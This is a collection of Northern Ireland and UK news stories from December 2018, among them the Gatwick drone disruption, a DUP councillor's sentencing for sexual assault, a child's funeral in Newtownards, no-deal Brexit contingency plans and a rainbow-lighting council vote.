this day, I always say goodnight to him before I go to sleep, like I always did when I was little. "I believe he is still with me, somewhere or other, helping me keep going and helping me to stay positive, move forward and help others." You can check out Tracy's website at www.tracyjamison.com. An obese husband and wife who became almost housebound because of their weight problems have been crowned Slimming World's couple of the year after losing 24 stone between them. Glyn and Gillian Woodward, from Stowmarket in Suffolk, decided to transform their lives when Mrs Woodward was unable to push her husband's wheelchair without having an asthma attack. Mr Woodward's weight had risen to more than 30 stone, leaving his wife as his full-time carer and causing her own health to suffer. The 66-year-old, who has now lost more than 20 stone, said: "I suffered with chronic sleep apnoea, depression and anxiety. To be honest, just existing when you're that size is completely exhausting, and I depended on Gill entirely." Mrs Woodward joined her local Slimming World in November 2013, and persuaded her husband to join her in August 2014. She has since lost 4st 8 and is a petite size 8. A Belfast DUP councillor has spoken of his anger at a Christmas window display erected at the headquarters of dissident republican group Saoradh. The window at their Antrim Road office depicts a a PSNI officer in a Grinch costume admonishing a child and a Santa with a rocket launcher. It also features a swastika symbol emblazoned on the poppy and the slogan "Hey peelers! Leave our kids alone!". The office also acts as the headquarters for the Irish Republican Prisoners Welfare Association. Read More A similar mural was also painted on the window of Saoradh's national headquarters in Londonderry. Police said they were "aware and enquiries are ongoing to determine if any offences have been committed". DUP councillor Dale Pankhurst noticed the display on Tuesday and branded it "utterly grotesque" saying it was "promoting fascism". "This is on the Antrim Road, a main thoroughfare into Belfast city centre. On the door is a copy of a photograph taken prior to republican terrorists launching a rocket attack on police on the Crumlin Road. It is edited to incorporate a Santa costume, thereby mixing a potent and vile message with Christmas," he said. "By placing a fascist symbol on the Poppy is not only deeply offensive but totally ironic given who the IRA cooperated with during WW2. They are pathetic cowards. Lowest of the low." "Given the recent news story regarding Catholics feeling alienated from joining the police, I would call upon Nationalist leaders, particularly Sinn Fein, to come out and call for the removal of this display." Councillor Pankhurst said he would be engaging with the PSNI about the window in the coming days. The police have been approached for comment. Ards Town Hall will be lit up in rainbow colours next year Ards Town Hall will finally be lit up in rainbow colours to mark LGBT Awareness Week after the narrowest of votes last night. A request from a LGBT advocacy group was passed at last night's meeting of Ards and North Down Council by a single vote. The plea to light up the civic building in Conway Square, Newtownards, in rainbow colours on May 13 next year to mark the start of LGBT Awareness Week was passed by 19 votes to 18. Two DUP councillors, Tom Smith and Alastair Cathcart, broke ranks to ensure the motion passed. The vote only went ahead after the DUP failed in an attempt to pass an amendment to use pink lighting as a compromise. In September, the council voted down a proposal to light up the local government building in the colours of the rainbow flag to coincide with Pride Day. That original motion - proposed by Alliance councillors Andrew Muir and Gavin Walker - prompted a heated debate, with DUP councillor Mr Smith voting against his party and in favour of lighting up the building. That motion was defeated 20-16, with the DUP holding 18 of the 40 council seats in the borough. Last night, the council was voting again on the issue after a request from John O'Doherty, director of LGBT campaign group The Rainbow Project. But this time around, the result was overturned - to the delight of Mr Muir. He said: "I am glad that Ards and North Down Borough Council has agreed with the Rainbow Project request to light up Ards Town Hall in Rainbow colours for LGBT Awareness Week on May 13 next year. "I would like to thank all those who voted in favour of this positive move including my Alliance Party colleagues alongside Ulster Unionists, Greens, Independents and the two DUP councillors who broke ranks." Mr Muir said he was "offended" by the DUP attempt to amend the proposal. "I am however very disappointed that the proposal was only passed by one vote after a failed DUP amendment to instead use the colour pink as a 'compromise'," he said. "I personally found this to be an offensive suggestion and believe it shows a real lack of understanding of the LGBT community. "Indeed one argument citied for the DUP amendment was that the colour pink was used during the Holocaust. "This I would argue demonstrates that perhaps some in the DUP have a long journey to travel in relation to LGBT awareness. "I would therefore hope all members of the council engage in events around LGBT Awareness Week as we seek to build a better understanding of the issues faced by all citizens in our borough irrespective of sexual orientation or gender." Ulster Unionist councillor Mark Brooks also welcomed the outcome. "I'm delighted the request was passed but as a unionist I would like to see all our unionist parties being more positive and bringing motions like this to council chambers. We need to be proactive, not reactive," he said. There has been a fresh drone sighting over Gatwick airfield, as further Belfast and Dublin flights to and from the airport are cancelled. Gatwick's chief operating officer Chris Woodroofe said Sussex Police reported the sighting in the last hour and the runway would remain closed until it was safe. Around 150,000 people have been caught up in the disruption with 760 flights affected at the UK's second biggest airport. Read More Further flights to and from Belfast have also been cancelled. Four flights in from Belfast have already halted due to the disruption. Those being the 6.35am and 10.30am departures to Gatwick, and the 10.05am and 1.50pm arrivals. Six flights more flights have been cancelled: the 2.35pm, 5.05pm and 6.55pm departures and the 4.40pm, 5.55pm and 10.15pm arrivals. Meanwhile, in Dublin 28 flights are scheduled to and from Gatwick. More than a dozen have been cancelled with others facing delays. Have you been affected? Contact digital.editorial@belfasttelegraph.co.uk or call 90264420 Two drones were spotted in the skies over Gatwick, the first at around 9pm on Wednesday and the latest just before 7am on Thursday. Thousands of passenger's travel plans have been disrupted due to the ongoing incident. Travellers have been advised to check with their airline before heading to the airport. Police units, sniffer dogs and a helicopter have been dispatch to the seen in London in order to track down the drone operator. The airport has apologised for the disruption but said safety had to come first. Passengers set to fly from Belfast to Gatwick Airport on Friday have been told to check their flight status before travelling. EasyJet currently operate a flight between Belfast International and the London airport, and has not yet given definitive information on whether these will be cancelled, with only the 6.35am currently called off. Customers are advised to check with the airline's flight tracker for up to date information. On Thursday evening an EasyJet spokesperson said in a statement: "We are making every effort to get people to their destination at this important time of the year, but following reports of drones flying over Gatwick Airport, the runway remains closed and all flights are currently suspended. "At this stage there is no indication of when the airport might re-open and as a result we have cancelled all flights due to operate to or from London Gatwick today." Ryanair - which operates a service to Gatwick from Cork, Dublin, and Shannon - has rerouted all of its flights on Friday through London Stansted airport. Have you been affected? Contact digital.editorial@belfasttelegraph.co.uk or call 90264420 The airline made the announcement following a day of chaos at Gatwick brought on by drones deliberately targeting the UK's second busiest airport. Around 150,000 people have been caught up in the disruption with 760 flights affected at the UK's second biggest airport. An emergency Whitehall meeting is being held in response to the escalating crisis at the UKs second busiest airport. Efforts to find the drones and whoever is operating them are becoming more and more desperate as flight cancellations continue to soar. The runway has been closed almost constantly since two drones were spotted being flown inside the West Sussex airports perimeter at 9pm on Wednesday. Police described the devices as industrial models and are treating the incident as a deliberate act to disrupt the airport. Defence Secretary Gavin Williamson told reporters: Sussex Police have requested assistance and support from the armed forces, and we will be deploying the armed forces to give them the help that they need. But he declined to say what assistance the military would give. Some 110,000 people were due to either take off or land at the airport on 760 flights on Thursday. Around 10,000 passengers were affected on Wednesday night. Gatwick chief executive Stewart Wingate said he is not in a position to say when it will be safe to reopen the airport. Disruption will continue into Friday, which is one of the airports busiest days of the year because of the Christmas getaway. Mr Wingate said: This is a highly targeted activity which has been designed to close the airport and bring maximum disruption in the run-up to Christmas. He added: We are still receiving drone sightings in and around the Gatwick airfield. A DUP councillor convicted of sexually assaulting a nursing colleague has been given 220 hours community service. Ian Stevenson was also put on the sex offenders register for five years after being found guilty of deliberately squeezed the woman's breast at a care home in Co Antrim. Belfast Magistrates' Court heard the 49-year-old nurse and former mayor of Ballymoney could now be at risk of losing both his job and his home. Stevenson maintains his innocence and is set to appeal the conviction. But he was told that he is entitled to limited credit for contesting allegations he carried out the assault and then joked that he would "grope anything". District Judge Amanda Henderson said: "The injured party had to come to court and was clearly extremely distressed in her testimony." His trial heard he allegedly asked for a hug while talking to the woman on a corridor in April 2017. She claimed that after raising her arms Stevenson, of Headlands Avenue in Ballymoney, grabbed her breast. "He actually squeezed when he did it," the woman said in her evidence. During the hearing she described responding by pushing him away and telling him "no", adding that the encounter left her shocked and frightened. "He just basically tried to laugh it off and made the joke 'You know me, I would grope anything... well, not anything'," the woman claimed. The court was told she later sent Stevenson a Facebook message, expressing her "disgust" at what allegedly happened. Asked how the incident has affected her, she replied: "It makes me nervous that somebody in that position could take such an advantage." With Stevenson emphatically denying the sexual assault charge, it was put it to the woman that her allegations were inconsistent and false. Defence counsel argued it was unbelievable that a public figure and nurse of 22 years standing would carry out the alleged act in the middle of a care home. It emerged in court that Stevenson has since been dismissed from his nursing position - an action which is to be challenged at a tribunal. The defendant, a representative on Causeway Coast and Glens Borough Council, has also been suspended by the DUP pending the outcome of the case. He claimed it was the woman who offered him a hug when he told her he was going to lay a wreath on a friend's grave. At no point did he grab or touch her breast, he insisted. Questioned about his alleged comments, he told the court: "Anybody that knows me, anybody in the political sphere, knows that I have never cursed in my life, which might seem a bit incredible, and I certainly would not say anything like that." Following his conviction he returned to court today to be sentenced. A defence barrister confirmed Stevenson continues to protest his innocence and has secured employment in another nursing area. She described him as a man of "impeccable character with high standing in the community". Counsel said: "Whilst he does deny the offence, he has very clear views why that type of behaviour would be wrong." The court was told Stevenson still has the full support of his family, including his elderly parents who rely on him. "Due to working as a councillor and a nurse his employment will be in jeopardy," his barrister added. "He's likely to lose his home if he's unable to make his mortgage payments." Ruling out any custodial sentence, Judge Henderson instead ordered him to serve 220 hours community service. She also directed that he must comply with notification requirements under sexual offence legislation for a period of five years. Stevenson's appeal against conviction is expected to be heard early next year. From Greg Swank, 12-4-2 You are about to read a list of 45 goals that found their way down the halls of our great Capitol back in 1963. As... Kai Corkum died following a road traffic collision in Newtownards, Co Down, on Thursday (PSNI/PA) Pacemaker Press 19/12/18 Kai's father Michael during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Kai's mother , Yasmine during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Three-year-old Kai Corkum who died on Friday 14 December. Kai is pictured making his christmas list for this year. Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Kai's parents, Yasmine and Michael Corkum during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Kai's parents, Yasmine and Michael Corkum during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Kai's father Michael during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Kai who died after being knocked down Pacemaker Press 19/12/18 Kai's father Michael during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker Pacemaker Press 19/12/18 Family and Friend during The Funeral of Kai Corkum at Clarke and Son funeral church in Newtownards on Wednesday. The three year old died after being hit by a car near his Newtownards home. Picture Colm Lenaghan /Pacemaker The small blue coffin of three-year-old Co Down boy Kai Corkum was carried from his funeral service to the sound of his favourite song Baby Shark in an emotional ceremony yesterday. More than 100 mourners including Kai's parents Yasmine (26) and Michael (31), his grandparents and great-grandmother, filled the Newtownards funeral home to mark the life of the youngster who died after being knocked down on the town's Movilla Road last Thursday. Little Kai had been walking to the shop with his aunt Amanda Corkum (23) to get a lollipop when the collision occurred. He was subsequently declared brain dead, and his family took the devastating decision to turn off his life-support on Friday. A 21-year-old man arrested at the scene on suspicion of dangerous driving was released on police bail pending further enquiries. The funeral home that hosted Kai's service was the same one in which the funeral of his little sister Lily-mai was held two years ago, after the baby girl passed away aged just 19 weeks. She had been born with a heart condition and contracted pneumonia, which led to her death. Kai's small coffin, upon which a teddy of his favourite Paw Patrol character Chase was placed, was carried in to the song Jealous Of The Angels. During the service one of Kai's aunts read out a poem on behalf of his brothers Mason (4) and Tyler (6). The first lines read: "The special memories of you Kai will always bring a smile, Expand Expand Expand Expand Expand Previous Next Close Kai Corkum Photopress Belfast Yasmine and Michael Corkum at the funeral of their son Kai in Newtownards Kai's father Michael The coffin carried by Kais father and grandfather Mourners attending the funeral of three year old Kai Corkum Photopress Belfast / Facebook Twitter Email Whatsapp Kai Corkum "If only we could have you back for just a little while." Rev Sue Bell told mourners that there was terrible grief over the tragedy. "Many of you, like the family and like myself, were here almost two years ago, January 2017, when we celebrated an equally short life of Lily-mai," she said. "And now today we're here for Kai. "This grief is raw and it's painful, but don't hide it, go with it. There is no right way to grieve." Rev Bell said there could not be a "greater contrast" than the Christmas season and the loss of a young life. "At this time of year we are preparing on one hand to celebrate Christmas, when Jesus was born as a baby, and on the other hand we are here at the funeral of a young, vibrant boy, Kai, who has suddenly and tragically been taken away from his family, his friends and his community," she said. She added that, since the incident, compassion had been shown through the "continued love and support from Kai's family towards Yasmine and Michael, Tyler and Mason". "The times I've had dealings with them have been times of immense crisis," she said. "That family bond, that loving bond, is very, very strong." The minister also paid tribute to the love and support the family had received from friends, the community and staff at Chuckles nursery, where Kai attended. And she acknowledged the "sensitive care of paramedics, doctors and nurses, and people at the scene of accident who tried to help Kai". "There has been so much outpouring of compassion, this tragic event has touched the lives of so many, both here in Newtownards and beyond," she continued. "And the reason for this is not just that Kai was part of a family and a community, but it's also because of the person that he was." Rev Bell said Kai had "made a real impression on people" despite his young age. "Kai had an infectious smile, it was something that Yasmine and Michael kept saying over and over again, this huge smiley face that he had, the cheeky personality, amazing energy. "He was apparently on the go all the time. "Michael said when Kai got up the whole house got up. "No one was actually going to stay in bed if Kai was on his feet. "It seems to me that for Kai, if the day had begun, then life was for living and he was going to live it to the full. "There was a world out there and he wanted to explore it. He was fearless. "Kai loved to order his day doing the things that he loved to do. "How many of us wish we could live just like that, ordering our day from the moment we get up? "He had so much life, so much energy and potential, and life truly will not be the same without him." Rev Bell said that Kai is now in Heaven. She added: "Kai is now held in the loving presence of Jesus, and he will enjoy the benefits of the resurrection - eternal life, which has within it the same fullness of life and more that Kai possessed and demonstrated while he was here. "Life will never be the same again, and nor should it. "Kai lived life, he was part of a family, he should be remembered. "But there will be hope of life, a different life, a restored life." Little Kai's coffin, painted in his favourite colour, was carried out of the church by father Michael and uncle Darren Corkum to the sound of his favourite song. The funeral procession made its way around a route in the town, with mourners taking turns to carry the coffin and members of the public lining the route in sympathy. The little coffin was then placed in the back of the hearse, which contained floral wreathes spelling out the words 'Son' and 'Brother', before being taken to Ballywalter's Whitechurch Cemetery, where Kai was laid to rest beside his baby sister Lily-mai. Poem for Kai "The special memories of you Kai will always bring a smile, "If only we could have you back for just a little while. "We love you very much and I will miss you every day, "We wish you could come back again to sit with us and play, "Even though we are very sad and it's time to let you go, "That's why we hope this message reaches you in Heaven above, "For the little angels to take care of you and give you all our love." Love always from Tyler and Mason, your big brothers Five boxes of documents relating to the Guildford pub bombings have been destroyed, Surrey Police have admitted. The blunder was blamed on a driver who left them in the wrong place, a pre-inquest review at Woking Coroners Court heard. A coroner is considering whether to resume a full inquest into the 1974 IRA attacks. Original proceedings did not conclude after the Guildford Four were convicted over the bombings, which killed four soldiers and a civilian and injured dozens more. They were handed life sentences, but had their convictions overturned in 1989, and their case became one of the best known miscarriages of justice in British legal history. Expand Close Gerard Conlon, one of the Guildford Four, is released by the Old Bailey (John Stillwell/PA) PA Archive/PA Images / Facebook Twitter Email Whatsapp Gerard Conlon, one of the Guildford Four, is released by the Old Bailey (John Stillwell/PA) Jeremy Johnson, representing Surrey Police, said on Thursday that 3,895 documents have been catalogued over the past year, and it could take years to assess the remainder. Its known that five boxes of material have been destroyed, but they contain documents which, at least to a large extent and possibly to a complete extent, are copied elsewhere, he said. He said the boxes were requisitioned on November 7 2016 to address media enquiries before being returned to the store on December 8. The driver who returned them erroneously left them in the wrong place and they were collected by a contractor and destroyed. That obviously should not have happened and that matter was referred to the information commissioner at the time. Families of the victims of the Guildford bombings, as well as survivors and Paddy Armstrong a member of the Guildford Four are calling for the inquest to be resumed. Expand Close The aftermath at the Horse and Groom pub (PA) PA Archive/PA Images / Facebook Twitter Email Whatsapp The aftermath at the Horse and Groom pub (PA) Soldiers Caroline Slater, 18, William Forsyth, 18, John Hunter, 17, and Ann Hamilton, 19, and civilian Paul Craig, 22, died in the blast at the Horse and Groom pub on October 5 1974. Brenda Campbell QC, representing the family of Ms Hamilton, said: Their journey over the last 45 years as a family, and generations of the same family, is a very private one. They neither seek nor do they receive the limelight. They do not make this application lightly. They are aware it could increase the pain of their journey. Ms Campbell said they have pored over a yellowing scrapbook of newspaper cuttings, articles and photographs they collected in a bid to search for answers, and spoke of a deep void of information. She told the coroner they had not been involved in the criminal trial or a five-year public inquiry carried out by Sir John May, and are left asking basic questions about how Ms Hamilton died. One example given was a discrepancy between whether the bomb went off at 8.30pm or 8.50pm. Of course they want to know who did it, of course they want to know why no one ever faced justice for what happened to our sister, the barrister continued. But it is the big questions and the small questions that remain entirely unanswered for the purposes of this inquest. Ms Campbell said the confessions of two men who admitted involvement but were not charged over the bombings have never been the subject of any independent, meaningful investigation. Surrey Police force said in a statement it neither requests nor opposes the resumption of inquests and the case is not being reinvestigated or made subject to a formal review at this time. Mr Johnson told the coroner: I would submit the focus is not on questions such as who planted the bombs, what were the bombs made of, what did the police get wrong in their original investigations. The focus is to be on the statutory questions an inquest is meant to answer and whether or not there is a practical proposition of throwing new light on these questions after all these years. Coroner Richard Travers said he would hand down his judgment on whether to resume a full inquest on January 31. An emergency crew responded to the incident, as did the Air Ambulance. Two people have been taken to hospital following a crash between a van and a car in Craigavon on Wednesday morning. The collision took place on Northway shortly around 8.15am. Police, the Northern Ireland Fire and Rescue Service (NIFRS) and the Northern Ireland Ambulance Service (NIAS) attended the scene, where one person was trapped inside the car, a maroon Lexus. The Ambulance Service dispatched the charity air ambulance, a rapid response paramedic, an emergency crew and two ambulance officers to the scene. NIAS worked with NIFRS to get the trapped driver out of their car, following assessment and initial treatment they were taken to the Royal Victoria Hospital by ambulance. Another patient was taken by ambulance to Craigavon Area Hospital. Northway is currently closed at the turnoff at the junction with Seagoe Road and motorists are advised to seek alternative routes. Police have appealed for information. Ireland is accelerating its planning for a no-deal Brexit, Foreign Affairs Minister Simon Coveney said (Niall Carson/PA) Dublin Port is creating extra parking for hundreds of trucks from the UK awaiting inspection after Brexit, the Irish Government said. Dozens more bays to carry out checks will also be made in a bid to avoid halting other traffic, plans for a no-deal withdrawal by the UK revealed. Holyhead in Wales is one of the main destinations served by Dublin port but the UKs role as a so-called land-bridge between Ireland and Europe has been cast into doubt by fears of a hard Brexit. Foreign Affairs Minister Simon Coveney said the country was accelerating its planning for the UK crashing out of the EU without a deal. No Deal Brexit Planning details of challenges and actions being taken - MerrionStreet https://t.co/V3xJD63hAb Simon Coveney (@simoncoveney) December 19, 2018 A Government report said: For Ireland, a no-deal Brexit would potentially involve severe macroeconomic, trade and sectoral impacts. Grappling with the enormous range of impacts both in the immediate short term and in the longer term will involve difficult and significant choices of a practical, strategic and political nature. Work is ongoing at Dublin Port on creating 33 inspection bays for trucks coming off ships. Office accommodation for an additional 144 staff will be required within the port area. Parking for 270 trucks would ensure those awaiting inspection do not halt other port traffic, the report said. It said the application of World Trade Organisation tariffs and regulatory divergence could affect supply chains and the cost and/or availability of imports from the UK. A further fall in the value of sterling would impact on the competitiveness of Irish businesses, while a deterioration in economic conditions in Britain could impact on exports. Tanaiste @simoncoveney speaking this evening about Irelands contingency planning for a no deal #Brexit: The UK leaving is going to cause us a significant challenge in the first quarter next year. We have accelerated our planning which will involve multiple sectors. pic.twitter.com/kw886zW60o MerrionStreet.ie (@merrionstreet) December 19, 2018 Whilst Brexits potential macro-economy impacts dominate headlines, Brexit has the potential to impact every element of economic functionality: trade flows, supply chains, economic and business operations, the labour market and consumer confidence and spending. Areas covered by plans published in Dublin late on Wednesday evening included: agriculture shipping fishing data security students the Common Travel Area the future of Britain as a goods land bridge aviation. It anticipated particular pressures on sectors like agri-food, fisheries, aviation and road transport, pharma-chemicals, electrical machinery, retail and wholesale business. The economic impact is also likely to be greater in certain regions especially near the border with Northern Ireland and on smaller businesses that are more dependent on trade with Britain and Northern Ireland. The 130-page dossier said: A no-deal Brexit would have negative consequences for Irish growth, both in the short and long run, relative to a no-Brexit scenario. An increase in public borrowing may be required. The Government report said: A no-deal Brexit would be an exceptional economic event which would be met with exceptional measures to support the continued operation of the Irish economy and our international trading links. It said there would be gaps in policing and justice arrangements with Northern Ireland including the European Arrest Warrant which allows for the speedy extradition of suspects. It warned the movement of people and businesses out of the UK could present economic opportunities but risked placing strain on infrastructure. A retired Presbyterian minister has welcomed the decision of Queen's University, Belfast to distance itself from Union Theological College. On Tuesday Queen's said it won't be accepting new students to the "highly problematic" Presbyterian-run college in 2019. Roy Simpson, who was minister of Ballyarnett Presbyterian Church in Londonderry and Knowhead Presbyterian Church in Muff, Co Donegal, between 1973 and 1980, had previously called on the university to end its relationship with the Belfast college. Mr Simpson said he was delighted the university "has taken appropriate steps to distance itself from a college that is no longer fit for purpose". He said: "I proposed earlier this year that Queen's University should seriously consider severing its links with Union Theological College - a backward, narrow-minded, male-dominated institution - and I am pleased that the university now appears to be seriously considering its position. "When the DUP start supporting Union Theological College one must begin to think that it is no longer the college of the once broad and largely liberal Presbyterian Church in Ireland, but rather has become affiliated to the narrow-minded, myopic Free Presbyterian Church spawned by Ian Paisley. "Union now has little to offer to any liberal thinking person. Those in key positions in the Presbyterian Church now control the intake of candidates for the ministry and some of those in key positions in the college are anti-female clergy and anti-female elders. "They also rely on their understanding of human sexuality by consulting the Bible. Most sensible people would not think the Bible was a manual on human sexuality and would turn to more informative sources." Former Alliance leader David Ford, who was removed from his position as a Presbyterian elder for backing same-sex marriage in 2016, said the decision was "regrettable but inevitable". He said: "The relationship has obviously been strained for some time. You would hope a resolution could be found but given the division that exists it may prove difficult. It appears the two sides are coming at this from different perspectives and it's hard to see an amicable solution being found." The Belfast college admits around 150 theology students each year, with some training for the Presbyterian ministry. Queen's has said it will help those who have applied to study in 2019 find alternative courses. It said, that following a review, the university had concerns regarding "the breadth and diversity" of the teaching and curriculum being delivered. "The university has taken the decision to suspend entry to all undergraduate programmes for the forthcoming 2019-20 academic year," it said. "The university is now considering the implications of the review for the longer term future of theology provision through the university's institute and the associated programmes. "This requires comprehensive engagement with relevant stakeholders, including Union Theological College, which is now under way. "The university is committed to ensuring that issues raised by the review will be addressed and its priority is to continue to support students who have already begun their course. "Prospective students that have already applied for 2019-20 entry to affected programmes are being contacted and will be supported to find suitable alternatives." The college said: "We very much regret and are disappointed by the decision taken." May McFettridge in Jack and the Beanstalk Police have appealed for information after a glass was thrown at a prop helicopter that was 'flying' panto dame May McFettridge during a performance. The incident occurred during a sold-out performance of Jack and the Beanstalk at the Grand Opera House on Saturday. Read More Police arrested two men who were later freed on bail pending further enquiries. They said they are "appealing for witnesses following the report of a glass being thrown during a performance at a theatre in the Great Victoria Street area of Belfast." Constable Jonathan Thompson said: I would appeal to anyone who was at the 7.00 pm performance on Saturday evening and witnessed this incident to contact police in Belfast on 101 quoting reference number 1282 of 15/12/18. Thankfully, there were no injuries reported as a result of this incident. Alternatively, information can also be provided to the independent charity Crimestoppers on 0800 555 111 which is 100% anonymous and gives people the power to speak up and stop crime." An increasingly likely hard Irish border for food and livestock will be "disastrous" for Northern Ireland's farmers, the head of the Ulster Farmers Union has said. The British and Irish governments, businesses, agriculture and the EU27 are now firmly on a footing for a 'no-deal' scenario in just 99 days, with the Northern Ireland Civil Service preparing a 'Brexit bunker' of officials to help cope with anticipated disruption. Read More The European Commission has indicated there will have to be checks on foods such as meat and milk between the Republic and Northern Ireland from March 29. Such a move would be a devastating blow for farmers and the agri-food sector, which will have few immediate ways of offsetting the impact. The Irish government has now released its own no-deal plan which Tanaiste Simon Coveney described as "stark" and "sobering". It warns of an "exceptional economic event which would be met with exceptional measures". While a series of warnings are outlined, Dublin makes it clear that the agri-food sector is particularly at risk. Hundreds of thousands of litres of milk from the Republic goes to Northern Ireland to be processed daily, before making its way back down again and onto supermarket shelves. And 500,000 southern pigs are sent to Northern Ireland every year for processing, while at least half of Northern Ireland's lamb heads south of the border. Read More UFU president Ivor Ferguson said agriculture was dangerously vulnerable to a no-deal Brexit. "A 'no-deal' Brexit would put the UK over a cliff edge and would effectively mean the closure of export markets, which no one wants to see happen," he said. The European Commission yesterday released plans for dealing with a no-deal scenario, including how it plans to mitigate the impact on trade. Worryingly for Ireland, the documents suggest that border checks on live animals will have to take place from March 29 onwards. They say that if the UK crashes out of the EU on March 29, "every consignment of live animals and animal products coming from the UK would have to undergo, as of the withdrawal date, checks in Union border inspection posts (BIPs) at the point of entry into the EU". Mr Ferguson said this would be "disastrous". "It will mean queues and queues of lorries," he said. "There is no infrastructure set up. It would be an absolute disaster for agriculture." Read More He added that new levies would be a concern, as sheep farming could be rendered unprofitable. It also emerged yesterday that the NI Civil Service (NICS) is ramping up plans for a no-deal Brexit. David Sterling, Northern Ireland's most senior civil servant, has written to his 23,000 staff seeking volunteers to man "command, control and coordination structures" dealing with potential post-Brexit disruption. They will work in departmental operations centres and a central Northern Ireland hub which may need to be continually staffed. The hub will co-ordinate Northern Ireland's response and will be operated jointly between Stormont's Executive Office and the NIO. Mr Sterling's letter said NICS is planning for a no-deal Brexit and a "worst case scenario" involving "sustained and widespread disruption". Meanwhile in Dublin, Mr Coveney admitted there is currently no proposal for how a hard border will be avoided in a no-deal scenario, saying one would be "much, much more complicated" than the backstop. The Tanaiste said the European Commission "has shown capacity to understand the complexities on this island in the last two years". But when asked if that meant they would give the Republic leeway on the border if the UK leaves without a deal, he replied: "We don't know." Dublin Port is creating extra parking for hundreds of trucks from the UK awaiting inspection after Brexit, the Irish government also revealed yesterday. Dozens more bays to carry out checks will also be made in a bid to avoid halting other traffic, plans for a no-deal scenario revealed. The contingency plan states: "A no-deal Brexit would require an immediate focus on crisis management and possible temporary solutions (political, economic, administrative, legislative and communication), which would be rapidly implemented until the necessary longer-term adjustments are in place. "For Ireland, a no-deal Brexit would potentially involve severe macroeconomic, trade and sectoral impacts. Grappling with the enormous range of impacts both in the immediate short term and in the longer term will involve difficult and significant choice of a practical, strategic and political nature." Government proposals for a post-Brexit immigration system for the UK are a "massive blow" to most sectors in Northern Ireland, it's been claimed. The Government's White Paper sets out plans for a future "skills-based immigration system", which Home Secretary Sajid Javid said would maximise the benefits of immigration while ending the free movement of EU citizens. Read More Key measures include that "everyone will be required to obtain a permission if they want to come to the UK and to work or study here". But it adds that Government will "make every effort to understand the individual positions of Scotland, Wales and Northern Ireland, including special challenges that need to be recognised, for example, concerns in Northern Ireland due to the unique nature of the border with the Republic of Ireland". The business body representing pubs and restaurants here said it will invite Mr Javid to Northern Ireland in the new year to give him an insight into the importance of workers from overseas. The White Paper says priority will be given to skilled immigrants. It said it is still considering what, if any, minimum salary should be set after an earlier recommendation of a threshold of 30,000. But business groups here have said that a 30,000 minimum would cut off the supply of much-needed workers in sectors including food production and care services, who tend to be paid smaller salaries. However, Mr Javid said the system would be "dynamic and responsive", and added: "It will allow us to set a lower salary threshold for those occupations that are in shortage." But Angela McGowan, CBI NI director, claimed the new system would not command public confidence or support across the UK regions. "The proposals outlined in the White Paper don't meet the UK's economic needs and would come as a massive blow to the majority of sectors across Northern Ireland. The Government's own analysis suggests people and regions will be poorer as a result of them." And she said many sectors were already being hit with skills shortages. She added: "The facts are clear. Across the UK, Brexit is already cutting off the ability to recruit and retain staff for nine out of 10 firms. "Despite firms spending over 45bn in training each year, staff shortages are already biting. Hospitals, universities, housebuilders and retailers are all struggling to find the people they need at salaries well below 30,000. "These proposals must change. And when a new workable system is finally agreed, the UK economy must be given time to adapt." Colin Neill, chief executive of Hospitality Ulster, said the future of migrant workers post-Brexit was a "concerning issue". He added: "We will be inviting the Home Secretary to Northern Ireland in the new year as part of this process and will continue to press our case that the hospitality sector is vital to the local economy and that it must be protected." DUP leader Arlene Foster said the White Paper was a "clear signal that the UK will retake control of its borders after our exit from the European Union". She said: "We welcome the aim of creating a new, single and skills-focused immigration policy that treats workers coming to the UK from across the world on the same basis. "We have been in contact with the Home Secretary over several months making representations in advance of this White Paper. We will continue this engagement and our consultation with local business representatives to take forward these proposals and ensure we get the best outcome for Northern Ireland." She said local firms must not be placed at a competitive disadvantage with the Republic when it came to recruiting low-skilled labour. FSB NI policy chair Tina McKenzie said it was crucial that any future salary threshold for migrant workers reflected the trend for lower wages here. Ulster Unionist finance spokesman Steve Aiken MLA said the prospect of a 30,000 salary threshold "could have disastrous consequences for Northern Ireland industry". He said: "Bearing in mind the average wages within our manufacturing, hospitality and health sectors are well below this threshold - with starting salaries in the NHS for nurses at just 23,000 and junior doctors starting at 27,000 - Northern Ireland is likely to be the most severely hit region of the UK." 